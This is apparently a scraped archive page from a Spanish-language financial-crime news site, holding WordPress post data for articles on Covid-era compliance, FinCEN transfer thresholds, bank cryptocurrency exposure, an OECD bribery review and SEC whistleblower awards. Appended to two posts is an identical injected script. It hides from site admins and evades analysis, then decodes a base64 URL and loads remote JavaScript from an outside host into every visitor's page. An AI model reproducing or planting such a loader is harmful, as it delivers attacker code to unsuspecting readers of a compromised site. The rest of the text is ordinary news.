resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s 